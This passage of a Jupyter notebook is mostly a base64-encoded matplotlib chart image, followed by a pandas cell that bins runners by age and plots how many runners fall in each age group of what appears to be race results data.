HwCwhgMACKkFCxY4+/btcxzHcR5++GHn/fffb/P+woULnerqand59+7dzosv\nvugu/9d//ZezZ8+eNp9Zt26dk5eX12assrLSueGGG5zly5cHVdejjz7q/OUvf3GXn3jiiTbfU1JS\n4iQkJLjL9fX1zmOPPeb4/X537MyZM84DDzzgNDc3B/WdLRYvXuwcP3680/V+97vfOdu2bbtofObM\nmc6pU6ccx3GcSZMmOadPn3Ycx3Huv/9+x3Ecx+/3OwsWLHDOnj3rfqa5udn53ve+55w4cSLoOn/7\n2986d9xxh1NfX++Obdy40fnZz37mLu/du9dZunRpm89997vfdc6cORP093zRyZMnnUWLFrnLR48e\nde6//34nEAg4jvN5lhkzZjhPPvmku06w+0lH9u7d2+Z7z54963zta19zVq5cedG648aNcx5++GGn\noaGhzXggEHC+/e1vO0ePHnXHamtrnW9961vO+fPn3bEHHnigzee2bdvm/O53v3OXFy9e7EyZMqXN\nZ5599lmnoKAg6DwA4BUcSQOAEPL7/SopKdEvfvELSdLs2bO1YsUK/fKXv3TXefDBB/WrX/1KP/3p\nTyVJK1eudNeXpHXr1mn//v16+eWX22x7wIABF33f7Nmz9eCDD7Zby5tvvqnVq1crNjZWPp9Pb731\nlurr692jWTU1Nbr11lvd9ceOHatvfOMb7vKOHTv0/vvv69FHH22z3dOnT+vjjz9WWlpaMH8lLufC\nkanLMXDgQPXr10+SNGzYMPXp00eS5PP5JH1+9LKsrEyPPfZYm8/V19fr0KFD+upXvxrU9/h8Pj38\n8MPq3bu3O5abm6u1a9e6y6NHj9aLL76oc+fOKSEhQRUVFUpOTlavXr2CzlNXV6d/+7d/U21trWJi\nYhQIBNqcDrp+/XrNmzfPzRcbG6sf/ehHberoyn5yKb///e+1cOFCd7lnz56aP3++Tp06ddG6GRkZ\neuGFFy4a//DDDzVq1Cilpqa6Y4MGDdI3vvENlZSU6Gtf+1rQ9SxevFg9evz1R5NHH31U3/nOd/TN\nb34z6G0AgBfQpAFACG3cuFFNTU36/ve/745t3rxZP/vZz9wfPq+++mrV1taqoaFBp0+fVp8+fdzG\nSfr8tMLnnnvO/QG9IwkJCe2O79ixQ9u2bdPzzz/vfu+TTz7ZZp32tt+6kYqNjVVOTo4eeuihTuuI\ntNjYWI0aNUrLli274m2110zGxLS9hPs73/mOVqxYoXnz5umll166qDnszA9+8AMtWLBA1113nTvW\nutn2+XwKBAJtPtPecrD7yaX4fL6L8n7xe1pcal/rSFcb8y9+t+M4l/W9ABDtuHEIAITQqlWrVFBQ\noOeff97988gjj2j9+vVt1rvvvvv03//93/rP//xP3X///W3emzt3rhYtWtRm7OzZs+71PC06+gH4\nnXfe0bRp09wGra6uTsXFxW3WGTJkiP70pz+5y7t3725z+/vx48dr/fr1+uijj9p8bteuXfr0008v\n+d3t6du3rz777LM2tZ84ceKi9S73aFtGRoYqKyu1e/fuNuPvvvuuPvjgg6C34ziOnnnmGZ05c8Yd\n27x5s9LT09usl5mZqT/96U86cuSI4uLiNGjQoC7X3LpBe/3119u8N3nyZP37v/+727T4/X7967/+\na5t1gt1POjJr1iwtXbrUXW5oaNDy5cu71PiNGDFC77zzjo4ePeqOnThxQhs3btTtt9/eZt2WPIFA\noN39eenSpWpubnbHnnvuOU2dOjXoWgDAK3zOlZx/AgBwvfDCC/r1r3+tv//7v9dTTz2luLg47dmz\nR7/5zW9UVFSk5cuXtzn165577tGAAQP00ksvXbSt9evXa926derVq5f+8pe/KD4+Xg899JCuv/56\nSZ/fiOHw4cMqLy/XV77yFXd7t912m6TPT/NbsGCBevbsqdjYWDU1Nam2tla9e/fWT37yE6WkpOj8\n+fN6+umnVVdXp6amJg0ZMkTHjh3Tf/zHf7h1nDhxQkuWLHFPx2tqatLNN9+sefPmXXR0qSMnT57U\nwoUL1atXL509e1YxMTG67777lJmZKUl6/PHHdfbsWZWXlyspKUnDhg3T4MGD9fjjj2v9+vX60Y9+\npIULF2rOnDmaPn26Zs2apZkzZ2r69OmaMWOG5syZo4aGBv385z9XXV2dAoGAGhsblZaWph/+8IdB\nHY1544039Mwzz2jGjBnauXOnevfurdjYWKWlpV10yqckbd++XQ8//LA2bNigL33pS0H/XUjSq6++\nqh07dqhnz55qaGjQzTffrJdeekk/+MEP3BtllJaWasWKFerZs6fOnDmjadOmaffu3frJT37ibqez\n/SQYGzdu1Nq1a5WQkKDGxkbdcccdOn/+vFtHfn6+iouL9cYbb+jrX/+6pM9PjZ0zZ467jVOnTmnJ\n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\n9u1yHEcTJkxQcnJyqDYNAAAAAFYIaZMGAAAAALgyPMwaAAAAAAxCkwYAAAAABgnpjUOiRXV1dYfv\nJyQkaNCgQd1UTfjYklMia2teyWpLTomsrZE1+tiSUyJra2SNPrbklLyR1cojaQUFBTp16tQl/2za\ntCnSJYaELTklsnoxqy05JbKSNbrZklMiK1mjmy05JW9ktfJI2vjx4zV8+PBLvp+QkNCN1YSPLTkl\nsrbmlay25JTI2hpZo48tOSWytkbW6GNLTskbWbm7IwAAAAAYxMrTHQEAAADAVFae7vjJJ5+opKRE\n8fHxiouLk8/nU0NDgzIzMz31AO79+/dr1KhRKisr0/HjxxUXF6fGxkZlZGRo5MiRkS4vpGyZU8me\neWVOvTenEvPqxXllTr03pxLz6sV5ZU6jbE4dC+Xl5V00FggEnFdeeSUC1YTPmjVrHMdxnPz8/Dbj\nr776aiTKCStb5tRx7JlX5tR7c+o4zKvjeG9emVPvzanjMK+O4715ZU6ja06tPN3R7/dfNObz+eTz\n+SJQTfh5NVdrts2p5P15ZU69iXn1HubUm5hX72FOo4uVpzuOHz9e69atU1JSkhzHkd/vV0NDg3Jy\nciJdWkjFxsZqy5YtSkpKcseqqqo0dOjQCFYVHrbMqWTPvDKn3ptTiXn14rwyp96bU4l59eK8MqfR\nNafc3REAAAAADGLl6Y4AACA0mpqa3NeBQEC1tbU6f/58BCsKH5uyAois2MWLFy+OdBHd7c9//rOK\niop0+PBhDRgwwD0U+vLLL2v06NERri50bMkpSXv27NGBAwfk8/m0efNmHTlyROXl5YqPj1f//v0j\nXV5I2ZK1urpa9fX17p9du3apZ8+e2rVrV4cPqIxGNmXdv3+/hg4dqrKyMu3du1dVVVU6ePCgfD6f\nBg0aFOnyQsqWrBs2bFBGRobKy8tVUlIiSSovL9fRo0d19dVXR7i60LIp64oVK1RTU6PTp09rwIAB\n6tHDu1fI2JL1448/VnFxscrLy9W7d2+9+eabqqioUCAQ0ODBgyNdXkh5Ias398JOvP3225oxY4Yk\nacuWLRo5cqTS0tLUp0+fCFcWWrbklKQjR45o6tSpWrZsmebNm6fExERJUn5+vtLS0iJbXIjZknXl\nypW666673HyVlZUaNmyYKisrI1tYGNiU9cMPP9SoUaP00Ucfafr06e74qlWroue2yEGyJeu5c+ck\nSQcOHNC0adPc8TVr1kSqpLCxKevgwYOVm5urmpoavf3222psbFRMTIxGjBih9PT0SJcXUrZk3bVr\nl2bOnCm/369nn31W8+fPV0xMjFavXq2MjIxIlxdSXshqZZMWE/PXszwnTpyo7du3q7GxMYIVhYct\nOVubPn26+4Ou13k96yOPPKLt27crKSlJWVlZKi8v14033qirrroq0qWFnE1ZW0TzHbe6yutZx4wZ\no+LiYqWnp2vbtm3Kzs5WRUVFu3eSi3Y2ZW2RnJzsPkMrEAjoyJEjEa4ofLyeteXnwpb/J7X+OdFr\nvJDVyiYtIyNDO3bsUHZ2tiQpJydHO3fu1KFDhyJcWWjZklOSe7ee1keSTpw4oYSEhAhVFD62ZO3Z\ns6dyc3N18uRJbdiwQbW1tZKkgQMHRriy0LMpqxfuuBUsW7Kmp6dr4MCB2rt3r2pqapSfn6/rrrvO\nPZPDS2zKevjwYTU2Nrb5ZWBMTIynzthoYUvWMWPGaOPGjfL7/Zo1a5Zee+01xcfH68Ybb4x0aSHn\nhazc3bGVmpoazz1xvT225AQAAACiEU0aAAAAABgk+k7QBAAAAAAPo0kDAAAAAIPQpAEAAACAQWjS\nAAAAAMAgNGkAAAAAYBCaNAAAAAAwCE0aAAAAABiEJu2CiooKnT59OtJlhJ0tOSWyepEtOSWyepUt\nWW3JKZHVq2zJaktOKfqyxi5evHhxpIswwa5du/TMM8+opqZGV111lfr27RvpksLClpwSWb3IlpwS\nWb3Klqy25JTI6lW2ZLUlpxR9WX2O4ziRLsIUZ8+e1aFDh3T06FFNnjw50uWEjS05JbJ6kS05JbJ6\nlS1ZbckpkdWrbMlqS04purLSpAEAAACAQbgmDQAAAAAM0iPSBUTC/v37NWrUKJWVlen48eOKi4tT\nY2OjMjIyNHLkyEiXFzKffPKJSkpKFB8fr7i4OPl8PjU0NCgzM1PJycmRLi+kbJlTyZ55ZU69N6cS\n8+rFeWVOvTenEvPqxXllTqNsTh0LrVmzxnEcx8nPz28z/uqrr0ainLDJy8u7aCwQCDivvPJKBKoJ\nL1vm1HHsmVfm1Htz6jjMqxfnlTn13pw6DvPqxXllTqNrTq0+3dHn80W6hLDy+/0Xjfl8Pk/n9nK2\nFrbNq1dztWbbnErMqxd5NVdrts2pxLx6kVdzteaFObXydMfY2Fht2bJFSUlJ7lhVVZWGDh0awapC\nb/z48Vq3bp2SkpLkOI78fr8aGhqUk5MT6dJCzpY5leyZV+bUe3MqMa9enFfm1HtzKjGvXpxX5jS6\n5pS7OwIAAACAQaw+3REAACBYTU1N7utAIKDa2lqdP38+ghWFj01ZARPFLl68eHGkizDFjh07dM01\n10S6jJD585//rKKiIh0+fFgDBgxwD2+//PLLGj16dISrCy2bsu7Zs0cHDhyQz+fT5s2bdeTIEZWX\nlys+Pl79+/ePdHkhY0tOSaqurlZ9fb37Z9euXerZs6d27dql4cOHR7q8kLIp6/79+zV06FCVlZVp\n7969qqqq0sGDB+Xz+TRo0KBIlxcytuSUpA0bNigjI0Pl5eUqKSmRJJWXl+vo0aO6+uqrI1xdaNmU\ndcWKFaqpqdHp06c1YMAA9ejhzauBbMkpSR9//LGKi4tVXl6u3r17680331RFRYUCgYAGDx4c6fKC\n4t3ZuQS/36/jx4+3+15lZaWys7O7uaLwefvttzVjxgxJ0pYtWzRy5EilpaWpT58+Ea4s9GzKeuTI\nEU2dOlXLli3TvHnzlJiYKEnKz89XWlpaZIsLIVtyStLKlSt11113uRkrKys1bNgwVVZWRrawMLAp\n64cffqhRo0bpo48+0vTp093xVatWeep217bklKRz585Jkg4cOKBp06a542vWrIlUSWFjU9bBgwcr\nNzdXNTU1evvtt9XY2KiYmBiNGDFC6enpkS4vZGzJKUm7du3SzJkz5ff79eyzz2r+/PmKiYnR6tWr\nlZGREenygmJdk+bz+bR27VrdcccdF73X2NjY/QWFUUzMX89mnThxorZv3+65jC1sytpi+vTp7g+6\nXmZDzkceeUTbt29XUlKSsrKyVF5erhtvvFFXXXVVpEsLOZuytoimu4ldCRtyjhkzRsXFxUpPT9e2\nbduUnZ2tioqKdu8kF+1sytoiOTnZfYZWIBDQkSNHIlxReNiQs+Xnwpb/L7X+OTFaWNekxcTEKD09\nXTfeeONF71VXV0egovDJyMjQjh073KODOTk52rlzpw4dOhThykLPpqwtd2FqfTTpxIkTSkhIiFBF\n4WFLTknq2bOncnNzdfLkSW3YsEG1tbWSpIEDB0a4stCzKastd1KzJackpaena+DAgdq7d69qamqU\nn5+v6667zj2Tw0tsynr48GE1Nja2+YVgTEyM587asCWn9PkvGTZu3Ci/369Zs2bptddeU3x8fLs/\n/5uKuztaqKamJnqetn6FbMoKAAAAb6BJAwAAAACDWHl3x02bNqlPnz7q3bt3m/Hz58/rrbfeks/n\nU79+/SJUXejYklMiq+S9rLbklMgqkTWa2ZJTIqtE1mhmS07JG1mtPJJ27tw5bd++XZWVlWpqanIv\nJuzfv7+ysrI8c2tZW3JKZJW8l9WWnBJZJbJGM1tySmSVyBrNbMkpeSOrlU0aAAAAAJgq+u5HCQAA\nAAAeRpMGAAAAAAahSQMAAAAAg9CkAQAAAIBBaNIAAAAAwCA0aQAAAABgEJo0AAAAADAITRoAAAAA\nGKRHpAsAACDUDhw4oPfee09xcXE6c+aMcnNzNXjwYNXW1mrr1q3q2bOn6uvrdfLkSY0cOVK5ublq\nbm7WunXrFBMTI5/PJ5/Pp0mTJikmht9nAgC6l89xHCfSRQAAEC7nz5/Xhg0bNGXKFL3yyiu65557\n5PP5FAgE9OMf/1hLliyRJK1bt06ZmZkaOnSoJKmmpkb79+/X+PHjI1k+AMBCHEkDAHjOoUOHdODA\nAcXFxSkmJkZ+v1+SlJCQIJ/PJ0mKiYnRTTfd5H6mpqZGu3btarOduLi47isaAIALaNIAAJ7S2Nio\nffv2adasWZKkpqYmFRQUuK8dx3GPpB08eND9XHp6uv72b/9WycnJ7lhzc3P3Fg8AgGjSAAAek5iY\nKMdxtHbtWjmOI8dx9N5776myslITJ07U73//eyUkJKixsVFpaWnu577+9a9r8+bNamxslCSdO3dO\nX/rSlzRu3LgIJQEA2Ipr0gAA1srPz9eMGTMiXQYAAG1wJA0AYJWysjIdOXJETU1NSk9Pj3Q5AABc\nhCNpAAAAAGAQHv4CAAAAAAahSQMAAAAAg9CkAQAAAIBBaNIAAAAAwCA0aQAAAABgEJo0AAAAADDI\n/wMI5BFw//dqygAAAABJRU5ErkJggg==\n", "text": [ "<matplotlib.figure.Figure at 0x12ee51ed0>" ] } ], "prompt_number": 99 }, { "cell_type": "code", "collapsed": false, "input": [ "df['official'].groupby(pd.cut(df['age'], range(15,90,5))).aggregate(len).plot(kind=\"bar\", title=\"# of runners by age group\")" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 101, "text": [ 